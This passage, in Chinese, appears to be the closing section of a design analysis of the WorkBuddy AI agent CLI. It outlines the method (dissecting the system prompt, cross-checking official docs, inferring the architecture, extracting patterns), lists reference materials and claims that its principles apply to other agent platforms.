  1. 系统提示词解构:分析 Agent 收到的完整系统指令,拆解角色定义、工具编排、权限规则、记忆注入等模块
  2. 文档阅读与交叉验证:阅读官方 CLI 文档、最佳实践、安全策略,与系统提示词中的设计对照验证
  3. 架构推理:从文件和工具的组织方式逆向推导架构决策
  4. 模式提取:将重复出现的解决方案归纳为可复用的设计模式

核心参考

  • WorkBuddy CLI 官方文档(overview, best-practices, permissions, skills, hooks, memory, checkpointing, goal, mcp)
  • WorkBuddy 系统提示词结构分析
  • SOUL.md / IDENTITY.md / USER.md 身份文件体系
  • Built-in Skills(skill-creator, expert-manager, wb-finance-skill 等)
  • Plugin 体系(plugin.json, hooks.json, marketplace.json)

设计思想的普适性

虽然本文的分析素材来自 WorkBuddy,但提炼出的 8 大设计原则、12 个设计模式和 3 类反模式具有通用性。它们适用于:

  • AI 编程助手(如 WorkBuddy, Claude Code, GitHub Copilot, Cursor)
  • 通用 AI Agent 平台(如 LangChain Agent, AutoGPT)
  • 垂直领域 Agent(金融分析、医疗辅助、法律咨询)
  • 企业内部智能助手(运维 Agent、客服 Agent、数据分析 Agent)

核心在于:Agent 不是 Chatbot 的升级版,而是一种全新的交互范式。它需要全新的设计哲学、安全模型和能力扩展体系。


这份文档是一个起点,不是终点。Agent 系统设计是一个快速演化的领域,本文的分析框架应该随着实践不断更新。

如果你正在设计 Agent 系统,希望这份文档能给你一个系统化的思考框架,帮助你做出更好的设计决策。